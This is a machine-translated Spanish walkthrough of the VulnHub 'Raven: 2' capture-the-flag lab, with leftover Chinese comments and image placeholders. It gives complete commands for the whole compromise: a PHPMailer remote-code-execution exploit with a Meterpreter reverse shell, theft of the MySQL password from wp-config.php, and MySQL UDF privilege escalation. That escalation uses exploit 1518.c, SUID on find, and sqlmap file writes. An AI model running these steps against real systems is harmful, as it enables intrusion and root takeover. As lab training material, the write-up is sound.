Dron objetivo vulnhub——RAVEN: 2


Prefacio

      Dificultad: Media. El objetivo es obtener cuatro banderas y descargar el archivo OV. Este artículo utiliza VirtualBox para abrirlo. La dirección de descarga es: https://www.vulnhub.com/entry/raven-2,269/. Los puntos de conocimiento involucrados en este artículo incluyen: creación de un entorno de destino, uso de la herramienta dirsearch, vulnerabilidad de fuga de información DS_Store, uso de wpscan, uso de la vulnerabilidad de ejecución de comandos PHPMailer para obtener un shell y escalada de privilegios UDF. .
      Dirección del dron objetivo: 192.168.56.107
      Dirección de Kali: 192.168.56.108


1. Instale el dron objetivo

     1) Seleccione Gestión-Importar computadora de máquina virtual.
Insertar descripción de la imagen aquí
     2) Seleccione la ruta del archivo donde descargó RAVEN: 2.
Insertar descripción de la imagen aquí
     3) Seleccione Importar para instalar en una carpeta en blanco.
Insertar descripción de la imagen aquí
     4) Seleccione Administrador de red de host.
Insertar descripción de la imagen aquí
     5) Elija configurar manualmente la tarjeta de red.
Insertar descripción de la imagen aquí
     6) Elija habilitar y configurar el servidor DHCP.
Insertar descripción de la imagen aquí
     7) La tarjeta de red 1 de la máquina de destino y kali están configuradas en modo solo host.
Insertar descripción de la imagen aquí
     8) La tarjeta de red 2 de Kali está configurada en modo NAT, porque a veces es necesario conectarse en red.
Insertar descripción de la imagen aquí

2. Elemento web

     1) Utilice nmap para escanear el segmento de red para obtener la dirección IP de destino y busque 192.168.56.107, que se determina como la dirección de la máquina de destino. Nota: 192.168.56.100 es la dirección IP del servidor DHCP configurado en esta máquina.

	# -sn 只做ping扫描,不做端口扫描
	# -PE 使用icmp协议请求包发现主机
	# -n 不进行反向DNS解析
	nmap -sn -PE -n 192.168.56.0/24  

Insertar descripción de la imagen aquí
     2) Utilice nmap para escanear el puerto, los resultados son los siguientes:

	nmap -A -T4 -p- 192.168.56.107 

Insertar descripción de la imagen aquí
     3) Primero acceda al puerto 80 y use dirsearch para escanear el directorio, luego haga clic para echar un vistazo. Cuando haga clic en BLOG, saltará a la interfaz de WordPress. Tome nota.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     4) Los resultados del análisis del directorio son los siguientes. Encontré muchos directorios, compruébalos uno por uno.
Insertar descripción de la imagen aquí
     5) Se encontró una vulnerabilidad de cruce de directorio en el directorio http://192.168.56.107/vendor/ y se encontró el primer indicador en el archivo PATH.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     6) La palabra PHPMailer también se encontró en el archivo Léame. En el archivo VERSION se puede ver que la versión es 5.2.16. Después de buscar, se encontró que PHPMailer es un paquete de funciones PHP para enviar correos electrónicos. Puedes enviarlo directamente usando PHP, sin crear un servicio de correo electrónico complicado. También existe una vulnerabilidad de ejecución remota de comandos. Téngala en cuenta y pruebe si existe una vulnerabilidad histórica más adelante.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     7) También se descubrió que la información .DS_Store estaba filtrada, pero no había información válida. Dirección de la herramienta de utilización: https://github.com/lijiejie/ds_store_exp.
Insertar descripción de la imagen aquí
     8) http://192.168.56.107/wordpress/wp-login.php, encontró la interfaz de inicio de sesión de WordPress y descubrió que no se podía encontrar el sitio web.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     9) Utilice la herramienta de escaneo de fugas wpscan para detectar si existen vulnerabilidades históricas en WordPress. wpscan es una herramienta integrada en kali. Tenga en cuenta que wpscan requiere una conexión a Internet para poder utilizarse. Puede encontrar mucha información, pero no hay nada que obtener permiso.
Insertar descripción de la imagen aquí
     10) Eche otro vistazo a la información de PHPMailer recopilada anteriormente. Busque en Internet para ver si hay vulnerabilidades históricas en PHPMailer. Si encuentra que hay vulnerabilidades históricas, use MSF para buscar. Hay dos. Usamos info 0 e info 1 de acuerdo con las indicaciones para verificar y describir la situación. Descubrimos que la primera es adecuada. Anteriormente descubrimos que la versión en este momento era 5.2.16, que era un poco más pequeña que 5.2.18.

search phpmailer
info 0
use 0

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     11) Aprovechelo y vea lo que hay que configurar.
Insertar descripción de la imagen aquí
     12) En comparación con el tutorial de Baidu, configure los parámetros de acuerdo con los requisitos. Primero configure la página de función de correo electrónico y IP y la ruta absoluta de la máquina de destino. Después de ver la configuración, puede encontrar que la IP del shell de rebote de Kali está en el segmento de red 10. Debido a que es una tarjeta de red dual, configuramos la IP del shell de rebote en 192.168.56.107. Después de eso, se completa la configuración y todos los puertos quedan predeterminados.

	options
	set RHOSTS 192.168.56.107	  #靶机地址
	set TARGETURI /contact.php    #邮件功能页面
	set WEB_ROOT /var/www/html    #网站绝对路径
	set payload php/meterpreter/reverse_tcp	  #设置payload
	set LHOST 192.168.56.108     #kali地址
	run

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     13) Copie YNz20r0P.php, empalme en la URL y luego acceda. Puede recuperar el shell con éxito, ¡pero es muy lento!

http://192.168.56.107/YNz20r0P.php

Insertar descripción de la imagen aquí
     14) Puede ver el archivo flag2.txt en la ruta /var/www
Insertar descripción de la imagen aquí
     15) El comando metrtpreter es incómodo de usar, por lo que cambiamos directamente al formato shell. Luego buscamos todas las banderas y encontramos la bandera 3. Descubrimos que era una imagen que unimos directamente y accedimos.

find ./ -name "flag*"
http://192.168.56.107/wordpress/wp-content/uploads/2018/11/flag3.png

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     16) Utilice Python para hacer rebotar el shell interactivo en una oración.

python -c 'import pty; pty.spawn("/bin/bash")'

Insertar descripción de la imagen aquí
     17) Luego busque los archivos de configuración globalmente, encuentre cuatro y verifíquelos uno por uno.

	find ./ -name "*fig*"

Insertar descripción de la imagen aquí
     18) La contraseña de la cuenta de la base de datos mysql se encontró en el archivo wp-config.php: root/R@v3nSecurity.

	cat html/wordpress/wp-config.php

Insertar descripción de la imagen aquí
     19) Utilice su cuenta y contraseña para iniciar sesión correctamente en la base de datos.

	mysql -uroot -pR@v3nSecurity

Insertar descripción de la imagen aquí

3. Parte de escalada de derechos

     1) Para vulnerabilidades en MYSQL por debajo de 5.5, puede usar UDF para escalar privilegios y verificar los permisos de ejecución de mysql. Se descubre que mysqld tiene permisos de root. Verifique la configuración de Secure_file_priv y descubra que está vacía, lo que satisface la escalada de privilegios de UDF.

ps -aux|grep mysql  #查看mysql的运行权限
select version();   #查看mysql版本
select @@basedir;   #确认mysql安装位置
show variables like '%basedir%';    #确认mysql安装位置
show variables like '%secure%';  #查看可导出文件位置

,
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

     2) Para versiones de MySQL >= 5.1, el archivo de la biblioteca de vínculos dinámicos UDF debe colocarse en la carpeta debajo de la carpeta lib\plugin en el directorio de instalación de MySQL para crear una función personalizada. Tanto sqlmap como Metasploit vienen con archivos de biblioteca de enlaces dinámicos correspondientes al sistema. Verifique la ubicación del complemento: /usr/lib/mysql/plugin/. Para Windows, también debe verificar la versión del sistema operativo.

show variables like '%plugin%';   #查找插件位置
show variables like '%compile%';   #查看系统版本

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     3) De la información anterior se puede ver que se cumple la escalada de privilegios udf. Utilice directamente 1518 para escalar privilegios. Primero busque 1518.c, luego verifique su ubicación y cópielo en un directorio que sea conveniente para la operación. . Creé un nuevo directorio y puedo copiarlo directamente al escritorio.

searchsploit 1518.c   #搜索1518.c
locate 1518.c	 #查看下本地所存放路径
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  #复制到当前所在文件夹

Insertar descripción de la imagen aquí

Insertar descripción de la imagen aquí

Insertar descripción de la imagen aquí
     4) Utilice gcc para compilar y generar el archivo 1518.so.

#参数:-g 生成调试信息
	  -shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
	  -o:执行命令后的文件名
	  -lc:-l 库 c库名
	  -Wl选项告诉编译器将后面的参数传递给链接器。
      -soname则指定了动态库的soname(简单共享名,Short for shared object name)
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

Insertar descripción de la imagen aquí
     5) Transfiera el archivo ".so" al directorio /tmp en la máquina de destino. Use Python para iniciar el servicio http en Kali. En el shell obtenido, cambie al directorio tmp y use el comando wget para descargar el archivo 1518.so.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     6) Inicie sesión en mysql nuevamente y use el siguiente comando para crear una función personalizada.

# 连接mysql数据库
mysql -uroot -pR@v3nSecurity
# 使用mysql数据库
use mysql;
# 创建foo表
create table foo(line blob);
# 往foo表中插入二进制的1518.so
insert into foo values(load_file('/tmp/1518.so'));
# 导出1518.so
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
# 创建do_system自定义函数
create function do_system returns integer soname '1518.so';
# 调用do_system函数给find命令所有者的suid权限,使其执行root
select do_system('chmod u+s /usr/bin/find');
# 导入成功后可查看一下 mysql 函数里面是否新增了do_system:
select * from mysql.func;

Insertar descripción de la imagen aquí
     7) Utilice buscar para nombrar y ejecutar whoami, y descubra que actualmente tiene permisos de root.

find 11 -exec "whoami" \;
find 11 -exec "/bin/sh" \;

Insertar descripción de la imagen aquí
     8) Utilice el comando buscar para obtener un shell con permisos de root y buscar flag4.
Insertar descripción de la imagen aquí

4. Escalada de privilegios adicional de MySQL: escalada de privilegios UDF

1. Requisitos previos para utilizar la promoción de derechos UDF

     1) El elemento Secure_file_priv del archivo de configuración MySQL está configurado como vacío (si el directorio se especifica como NULL o /tmp/, etc., es decir, la ubicación de exportación del archivo udf no se puede personalizar ni utilizar).
     2) CREAR permisos y permisos de ARCHIVO (el usuario root tiene todos los permisos de forma predeterminada).
     3) El sistema Linux requiere permiso de escritura para el directorio de complementos.
     4) La escalada de privilegios UDF en el entorno Linux probablemente se limita al entorno del campo de tiro. La razón: bajo los estrictos permisos del sistema de Linux, el usuario de MySQL o el usuario web no tiene permiso de escritura en el directorio de complementos.

# 查看当前数据库用户权限
select * from mysql.user where user = substring_index(user(), '@', 1)\G;

Insertar descripción de la imagen aquí

2. Busque la biblioteca de enlaces dinámicos.

     1) En Windows, Mysql generalmente se ejecuta con permisos del Sistema. Por lo tanto, la vulnerabilidad de escalada de privilegios UDF se produce principalmente porque se filtra la contraseña del usuario root, contraseñas débiles, etc., o porque los usuarios normales tienen permisos de escritura en carpetas como complementos.
     2) El programa principal de MySQL, mysqld, en el entorno Linux generalmente se ejecuta con la cuenta independiente mysql, mientras que el demonio mysqld_safe tiene permisos de root. Por lo tanto, hay relativamente pocas oportunidades para escalar privilegios UDF en Linux. La escalada de privilegios UDF solo ocurrirá cuando el proceso mysqld se ejecute como root.
     3) Para versiones de MySQL >= 5.1, el archivo de la biblioteca de vínculos dinámicos UDF debe colocarse en la carpeta debajo de la carpeta lib\plugin en el directorio de instalación de MySQL para crear una función personalizada. Generalmente, sqlmap y Metasploit vienen con archivos de biblioteca de enlaces dinámicos correspondientes al sistema. Sin embargo, estas bibliotecas de enlaces dinámicos incluidas en sqlmap se han codificado para evitar la eliminación accidental y no se pueden utilizar directamente. Sin embargo, puedes usar la herramienta de decodificación cloak.py que viene con sqlmap para decodificarlo.
     4) Ubicación del archivo de biblioteca de enlaces dinámicos UDF de sqlmap:

  sqlmap根目录/data/udf/mysql

Insertar descripción de la imagen aquí
     La ubicación de cloak.py:

  /extra/cloak/cloak.py

Insertar descripción de la imagen aquí
     El método de decodificación es el siguiente:

# 解码 32 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so

# 解码 64 位的 Linux 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so

# 解码 32 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

# 解码 64 位的 Windows 动态链接库
python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

     5) Ubicación del archivo de la biblioteca de enlaces dinámicos UDF de Metasploit:

  sqlmap根目录/data/udf/mysql

Insertar descripción de la imagen aquí
     No es necesario decodificar el archivo de biblioteca de enlaces dinámicos que viene con Metasploit y se puede utilizar directamente.

3. Encuentre la ubicación del complemento

     1) Lo siguiente es colocar el archivo de la biblioteca de enlaces dinámicos UDF en el directorio de complementos de MySQL. Al iniciar sesión en MySQL, puede consultarlo con declaraciones de MySQL.

	show variables like '%plugin%';

Insertar descripción de la imagen aquí
     2) Si no existe, puede encontrar el directorio de instalación de MySQL en webshell y crear la carpeta \lib\plugin manualmente. El directorio de instalación de MySQL se puede encontrar a través de la instrucción select @@basedir;.

select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

Insertar descripción de la imagen aquí
     3) Cuando exista el directorio lib\plugin y haya un webshell, cargue el archivo udf directamente. Cuando existe el directorio lib\plugin pero no hay un webshell, debe escribir el archivo udf en codificación hexadecimal.

4. Escriba en la biblioteca de enlaces dinámicos.

     1) La escritura en la biblioteca de enlaces dinámicos se puede dividir en las siguientes situaciones. La primera es: inyección SQL y permisos altos. El directorio del complemento se puede escribir y requiere Secure_file_priv sin restricciones. El directorio del complemento MySQL puede ser escrito por MySQL. usuario En este momento, puede usar sqlmap directamente para cargar la biblioteca de enlaces dinámicos y, debido a que GET tiene un límite de longitud de bytes, este ataque a menudo solo se puede realizar mediante inyección POST.

# --file-write=本地文件路径
# --file-dest  写入目标路径
sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so"

Insertar descripción de la imagen aquí
     2) Sin inyección, se pueden operar declaraciones SQL nativas. En este caso, cuando Secure_file_priv es ilimitado, también podemos escribir archivos manualmente en el directorio del complemento.

# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

     Puedes usar la función hexadecimal que viene con MySQL para obtener hexadecimal.

# 直接传入路径编码
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));

# 也可以将路径 hex 编码
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

     3) Si encuentra este error, puede deberse a que el uso de lib_mysqludf_sys_64.dll falló y el uso de lib_mysqludf_sys_32.dll será exitoso, por lo que el dll aquí no debería tener nada que ver con la cantidad de bits del sistema y puede estar relacionado. a la versión de instalación de MySQL, y PHPStudy viene con él. La versión de MySQL es de 32 bits.

ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )

5. Cree funciones personalizadas y llame a comandos.

     1) Puedes usar el siguiente comando en MySQL,

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

     2) Después de que la importación sea exitosa, verifique si se agregó sys_eval en la función mysql.

select * from mysql.func;

Insertar descripción de la imagen aquí
     3) Luego, puede ejecutar comandos del sistema a través de la función creada. Si tiene un sistema Windows, debería tener los permisos más altos.

select sys_eval('whoami');

6. Eliminar funciones personalizadas

     1) Utilice el siguiente comando en MySQL para eliminar la función personalizada.

	drop function sys_eval;

Supongo que te gusta

Origin blog.csdn.net/qq_44029310/article/details/126491848
Recomendado
Clasificación